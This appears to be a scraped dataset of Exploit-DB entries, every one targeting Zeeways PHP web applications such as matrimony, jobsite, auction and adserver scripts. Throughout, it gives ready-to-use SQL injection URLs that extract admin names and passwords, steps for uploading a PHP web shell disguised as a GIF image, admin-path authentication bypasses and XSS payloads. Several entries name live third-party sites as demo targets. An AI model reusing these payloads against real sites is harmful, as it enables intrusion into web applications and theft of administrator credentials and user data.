deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14445
Description: ZeeMatri 3.x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-23
Author: SONIC

Exploit:
1                    ###################################               1
0                    I'm SONiC member from Inj3ct0r Team               1
1                    ###################################               0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : ZeeMatri v3x- Arbitrary file upload Vulnerability

Date : july 23,2010

Critical Level :VERY HIGH

vendor URL :?? http://www.zeeways.com

#######################################################################################################


Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

Special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,MA1201,D3aD F0x

Greetz to :www.topsecure.net, iNj3cT0r.com, www.andhrahackers.com

#######################################################################################################
Description:

Ready to Launch Website Package for your matrimony, matchmaking, marriage Bureau Dating Website in PHPĀ  - New Shaadi.com clone Software. The site uses PHP 4 or above for a powerful dynamic and scaleable website. A Readymade Shaadi Website with Chat, Banners, Google Adsense and more...

#######################################################################################################
Xploit :Arbitrary File Upload Vulnerabilty

DEMO URL? http://server/uploadsnaps.php

[..Upload Arbitrary File as Image ]



###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #14444
Description: ZeeNetworking 1x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-23
Author: SONIC

Exploit:
1                    ###################################               1
0                    I'm SONiC member from Inj3ct0r Team               1
1                    ###################################               0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : ZeeNetworking v1x- Arbitrary file upload Vulnerability

Date : july 23,2010

Critical Level :VERY HIGH

vendor URL :?? http://www.zeeways.com

#######################################################################################################


Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

Special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,MA1201,D3aD F0x

Greetz to :www.topsecure.net, iNj3cT0r.com, www.andhrahackers.com

#######################################################################################################
Description:

Ready to Launch Website Package for your matrimony, matchmaking, marriage Bureau Dating Website in PHPÂ  - New Shaadi.com clone Software. The site uses PHP 4 or above for a powerful dynamic and scaleable website. A Readymade Shaadi Website with Chat, Banners, Google Adsense and more...

#######################################################################################################
Xploit :Arbitrary File Upload Vulnerabilty

DEMO URL? http://server/members/member_photo.php?send=pht_inserted

[..Upload Arbitrary File as Image ]



###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #6780
Description: zeeproperty - 'adid' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-18
Author: Hussin X

Exploit:
|___________________________________________________|
| zeeproperty (adid) Remote SQL Injection Vulnerability
|___________________________________________________
|----------------------  Hussin X  -------------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM   |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                     |
| script    :  http://www.zeeproperty.com
|
| DorK   :  :)
|___________________________________________________|

Exploit:
________

www.[target].com/Script/bannerclick.php?adid=-1+union+select+0,0,concat(name,0x3e,pwd),0,0,0,0,0,0,0+from+admin--


Demo
________

www.zeeproperty.com/bannerclick.php?adid=-1+union+select+0,0,concat(name,0x3e,pwd),0,0,0,0,0,0,0+from+admin--


Admin Panel :
________

www.[target].com/Script/admin

____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________

                                               Im IRAQi    |     Im TrYaGi

# milw0rm.com [2008-10-18]
Exploit-DB #7058
Description: zeeproperty 1.0 - Arbitrary File Upload / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-08
Author: ZoRLu

Exploit:
ZEEPROPERTY v1.0 remote file Upload & XSS

author: ZoRLu msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

dork: "Designed & Developed by Zeeways.com"


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php


after login to site and you change your profile ( direckt link: localhost/viewprofile.php )

add your photo ( you_shell.php upload ) after open new page you right clik your photo and select to properties 

copy photo link and paste your explorer go your shell

your_shell:

localhost/script_path/companylogo/[id].php


example for demo:

user: zeeways

[CREDENTIAL_REDACTED]:

change profile direckt link: http://www.zeeproperty.com/viewprofile.php

and your_shell link:

http://www.zeeproperty.com/companylogo/5622365.php


XSS for demo:

http://www.zeeproperty.com/view_prop_details.php?propid="><script>alert()</script>


thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-08]
Exploit-DB #6165
Description: ZeeReviews - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-30
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## ZeeReviews ( comments.php ItemID )
##                            
## http://www.zeescripts.com                            
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
##
## -[[: Exploite :]]-
##
##   www.Target.com/comments.php?ItemID=1+UNION+SELECT+CONCAT_WS(0x3a,username,password)+FROM+zr_users--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-30]
Exploit-DB #15442
Description: Zeeways Adserver - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-06
Author: Valentin

Exploit:
# Exploit Title: Zeeways Adserver Multiple Vulnerabilities
# Date: 06.11.2010
# Author: Valentin
# Category: webapps/0day
# Version: 

# Tested on:
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Zeeways Adserver Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Zeeways Adserver
Vendor = Zeeways
Vendor Website = http://www.zeescripts.com
Affected Version(s) = all

This product seems not be sold by Zeeways at the moment, but still many websites
are using this product for managing their ads.
There is a Wordpress plugin existing for implementing Adserver ads into the own
blog. The link from this Wordpress module directly points to a script from the
Adserver which is affected by a SQL injection vulnerability.

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
Multiple scripts with multiple parameters are affected from this vulnerability.

Example #1:
index.php?section=redir&affid=0&kid=0&zid=[SQL Injection]

Example #2:
Visit the "register" page index.php?section=user&action=register and enter your
SQLi string into the email field. Fill out the other fields with some
normal stuff (like test) and view your result.


>> Cross-Site Request Forgery
Visit the "register" page index.php?section=user&action=register and enter your
CSRF string into the email field. Fill out the other fields with some
normal stuff (like test) and view your result.


>> Local Installation Path Disclosure
Visit index.php?section=doc&action= and fill out the action parameter.

Example:
index.php?section=doc&action=test


>> Interesting error message
Visit index.php?section=doc&action=test and play around with both the section and
action parameters. You will notice that a local file inclusion is not possible
(especially when you look at the section variable), but still you will be able
to "inject" some stuff in the action parameter.
For example use
index.php?section=doc&action=#
to get no output.

This is not a real code injection vulnerability, but still some special control
characters affect the output of the website. Maybe you are able to trigger some
interesting stuff.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 06.11.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #46602
Description: Zeeways Jobsite CMS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-25
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Zeeways Jobsite CMS - 'id' SQL Injection
# Date: 25.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: http://www.zeeways.com/jobsite-cms/1/productdetail
# Demo Site: http://www.zeewayscms.com/jobsite/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/news_details.php?id=1
Vulnerable Parameter: id (GET)
Payload: id=-5236" OR 1 GROUP BY CONCAT(0x716a627871,(SELECT (CASE WHEN
(5640=5640) THEN 1 ELSE 0 END)),0x71626b6271,FLOOR(RAND(0)*2)) HAVING
MIN(0)#

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/jobs_details.php?id=1
Vulnerable Parameter: id (GET)
Payload: id=-5236" OR 1 GROUP BY CONCAT(0x716a627871,(SELECT (CASE WHEN
(5640=5640) THEN 1 ELSE 0 END)),0x71626b6271,FLOOR(RAND(0)*2)) HAVING
MIN(0)#

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/job_cmp_details.php?id=1
Vulnerable Parameter: id (GET)
Payload: id=-5236" OR 1 GROUP BY CONCAT(0x716a627871,(SELECT (CASE WHEN
(5640=5640) THEN 1 ELSE 0 END)),0x71626b6271,FLOOR(RAND(0)*2)) HAVING
MIN(0)#
Exploit-DB #46603
Description: Zeeways Matrimony CMS - SQL Injection
Type: webapps
Platform: php
Date: 2019-03-25
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Zeeways Matrimony CMS - SQL Injection
# Date: 25.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: http://www.zeeways.com/matrimony-cms/4/productdetail
# Demo Site: http://www.zeewayscms.com/matrimony/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/profile_list
Vulnerable Parameter: up_cast (POST)
Payload:  (select 1 and row(1,1)>(select
count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(117),CHAR(82),CHAR(120),CHAR(106),CHAR(69),CHAR(48),CHAR(117),CHAR(107)),floor(rand()*2))x
from (select 1 union select 2)a group by x limit 1))

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/profile_list
Vulnerable Parameter: s_mother (GET)
Payload: (select 1 and row(1%2C1)>(select
count(*)%2Cconcat(concat(CHAR(52)%2CCHAR(67)%2CCHAR(117)%2CCHAR(113)%2CCHAR(82)%2CCHAR(106)%2CCHAR(97)%2CCHAR(51)%2CCHAR(113)%2CCHAR(122)%2CCHAR(116))%2Cfloor(rand()*2))x
from (select 1 union select 2)a group by x limit 1))


----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/profile_list?s_mother=1
Vulnerable Parameter: s_religion (POST)
Payload: (select 1 and row(1,1)>(select
count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(50),CHAR(86),CHAR(74),CHAR(77),CHAR(54),CHAR(109),CHAR(84),CHAR(73)),floor(rand()*2))x
from (select 1 union select 2)a group by x limit 1))
Exploit-DB #7070
Description: Zeeways PHOTOVIDEOTUBE 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-08
Author: Stack

Exploit:
==============================================================================
 Zeeways PHOTOVIDEOTUBE v1.1  Auth Bypass Vulnerability
==============================================================================
 [Â»] Script  :          [ Zeeways PHOTOVIDEOTUBE v1.1  ]
 [Â»] Language:          [ PHP ]
 [Â»] Website :          [ http://zeeways.com/php-software/photovideotube-v1.1.html ]
        [Â»] Discover:          [ Mountassif Moad  ]
===[ XPL ]===
 [Â»] http://localhost/[path]/admin/home.php

===[ LIVE ]===
 [Â»] http://www.photovideotube.com/admin//main.php

# milw0rm.com [2008-11-08]
Exploit-DB #12805
Description: Zeeways Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-30
Author: XroGuE

Exploit:
=======================================================================
# Zeeways Script Multiple Vulnerabilities
=======================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1                      
1   /' \            __  /'__`\        /\ \__  /'__`\                   0                     
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1                                
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0                  
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1                      
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0                   
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1                  
1                  \ \____/ >> Exploit database separated by exploit   0                          
0                   \/___/          type (local, remote, DoS, etc.)    1                        
1                                                                      1                          
0  [+] Site            : Inj3ct0r.com                                  0                            
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1                               
0                                                                      0                             
1                    ####################################              1
0                    I'm XroGuE member from Inj3ct0r Team              1
1                    ####################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1         

########################################################################
# Name: Zeeways Script Multiple Vulnerabilities
# Vendor: www.Zeeways.com
# Date: 2010-05-30
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################

[+] Dork: inurl:"product_desc.php?id=" Powered by Zeeways.com 

########################################################################

[+] HTML InjecTion Vulnerability:

[+] Demo: http://[site]/[path]/signinform.php?msg=<h1>XSS,HTML InjecTion</h1>

########################################################################

[+] XSS InjecTion Vulnerability:

[+] Demo: http://[site]/[path]/signinform.php?msg=

########################################################################
Exploit-DB #11087
Description: ZeeWays Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-10
Author: SyRiAn_34G13

Exploit:
# Exploit Title: ZeEwAyS ScRiPt SQL Injection Vulnerability
# Author: SyRiAn_34G13
# Mail : sy34@msn.com
.............................................................

# Software Link: [downoad link if available]

.............................................................

# Version:

.............................................................

# Dork : [ inurl:"product_desc.php?id=" Powered by Zeeways.com ]

.............................................................

# Tested on: Apache/2.2.11

.............................................................

# Demo : http://server/auction/product_desc.php?id=-1/**/union/**/select/**/1,2,concat%28admin_name,0x3a3a3a,pwd%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--

.............................................................

# ExPlOiT : product_desc.php?id=-1/**/union/**/select/**/1,2,concat%28admin_name,0x3a3a3a,pwd%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--

.............................................................

# Thanx : My Brothers ~~~SyRiAn_SnIpEr~~~~SyRiAn_SpIdEr
My Love ~~F~~

.............................................................
I Love You ~~~~~~~~~~~SyRiA~~~~~~~~~~
Exploit-DB #7066
Description: Zeeways Shaadi Clone 2.0 - Authentication Bypass (1)
Type: webapps
Platform: php
Date: 2008-11-08
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	Zeeways Shaadi Clone v2.0 Auth Bypass Vulnerability
==============================================================================

	[Â»] Script:             [ Zeeways Shaadi Clone v2.0 ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://zeeways.com/php-software/shaadiclone-v2.0-2.html ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 08.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

	[Â»] http://localhost/[path]/admin/home.php


===[ LIVE ]===

	[Â»] http://megashaadi.com/admin/home.php
	[Â»] http://proposals.vinlak.com/admin/home.php
	[Â»] http://gmatrimonial.com/admin/home.php

	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-08]
Exploit-DB #32575
Description: Zeeways Shaadi Clone 2.0 - Authentication Bypass (2)
Type: webapps
Platform: php
Date: 2008-11-08
Author: G4N0K

Exploit:
source: https://www.securityfocus.com/bid/32222/info

Zeeways SHAADICLONE is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to gain administrative access to the affected application.

SHAADICLONE 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/home.php
Exploit-DB #11047
Description: Zeeways Technology - 'product_desc.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-07
Author: Gamoscu

Exploit:
#############################################################
# Zeeways Technology (product_desc.php) SQL Injection Vulnerability

# Vendor: http://www.zeeways.com/

# Author: Gamoscu

# Site: www.1923turk.com

# Blog: http://gamoscu.wordpress.com/
  
##############################################################


# DORK :powered by zeeways

 
# Exploit: xxxxx/xxx/product_desc.php?id=[SQL-inj]


#    -1/**/union/**/all/**/select/**/1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--
    
           
         

# Demo: http://server/product_desc.php?id=-1/**/union/**/all/**/select/**/1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--

 
##############################################################
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO
##############################################################


Vatan Lafla Deðil Eylemle Sevilir

Kiskananlar catlasin Zorunuza Gitmesin
Exploit-DB #33396
Description: Zeeways ZeeJobsite - 'basic_search_result.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-10
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/37290/info


ZeeJobsite is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects ZeeJobsite 3x; other versions may be vulnerable as well. 

http://www.example.com/basic_search_result.php?title=<script>alert(/XSS/)</script>